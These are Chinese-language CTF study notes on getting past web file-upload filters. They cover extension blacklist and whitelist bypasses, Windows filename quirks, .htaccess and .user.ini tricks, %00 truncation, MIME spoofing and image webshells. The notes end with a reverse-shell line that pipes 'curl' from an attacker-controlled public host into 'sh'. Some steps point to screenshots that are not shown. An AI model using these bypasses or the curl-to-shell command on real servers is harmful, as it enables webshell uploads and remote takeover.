文件上传
后缀名检测绕过
- 黑名单–大小写绕过
- 黑名单–名单列表绕过
- 黑名单–Windows特性(末尾的点【.】)绕过
- 黑名单–Windows特性(空格【 】)绕过
- 黑名单–Windows特性(::$DATA)绕过
利用Windows特性,给文件名加“(::$DATA)”绕过服务端后缀名的检测
上传之后打开上传文件把url后面的::$DATA删掉就可以看见了
- 白名单(需要结合文件包含漏洞或者Web服务器解析漏洞)
- .htaccess文件攻击–匹配文件内容
- .htaccess文件攻击–匹配文件名中的关键字
- .htaccess文件攻击–匹配文件名
- Apache解析漏洞 其解析文件只看后缀名,可以通过上传1.jpg.php绕过上传检查,仍然可以解析为php文件
- 点空格点绕过
- 双写绕过
- 空格绕过(文件名后加空格)
- %00截断(相当于一个结束符修改文件名为.php.jpg(白名单内的都可)burp suite抓包
- .user.ini需要知道上传目录下的php文件,访问改文件才能连接蚁剑
1 | .php |
MIME类型检测与绕过
burp suite抓包然后更改Content-Type

image/jpeg
文件内容检测与绕过
00截断绕过
shell.php%00.jpg
条件竞争检测与绕过
图片木马
制作好图片木马将其上传后还需要到文件包含漏洞测试通常在include.php
注:在buuctf上面写upload的题目为Linux环境,windows系统的一些特性不能使用
文件上传路径可控
%00接受值为GET
把文件后缀名改为.php.jpg(允许的)


再把下面的.php删了,但是有版本限制要求php版本小于等于5.3.4,我的超过了写不出来
接受值为POST

在**/upload/ **后面填写a.phpa然后在hex里面把a(61)改为空(00)
#是.hatccess文件特有的写入形式
限制文件宽和高的题目
#去掉文件头GIF89a加上下面两句:#define height 1#define width 1
反弹shell
?cmd=curl 公网修改为监听的端口|sh(首先需要购买公网ip)
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/bq9fvs2l2gwnvh40
语雀文档ID: 135221313